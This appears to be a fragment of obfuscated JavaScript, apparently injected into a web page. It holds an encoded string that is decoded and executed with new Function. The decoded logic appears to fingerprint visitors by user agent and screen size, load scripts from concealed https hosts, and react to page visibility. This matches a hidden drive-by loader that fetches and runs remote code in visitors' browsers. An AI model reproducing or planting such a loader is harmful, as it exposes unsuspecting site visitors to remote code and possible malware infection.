_8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();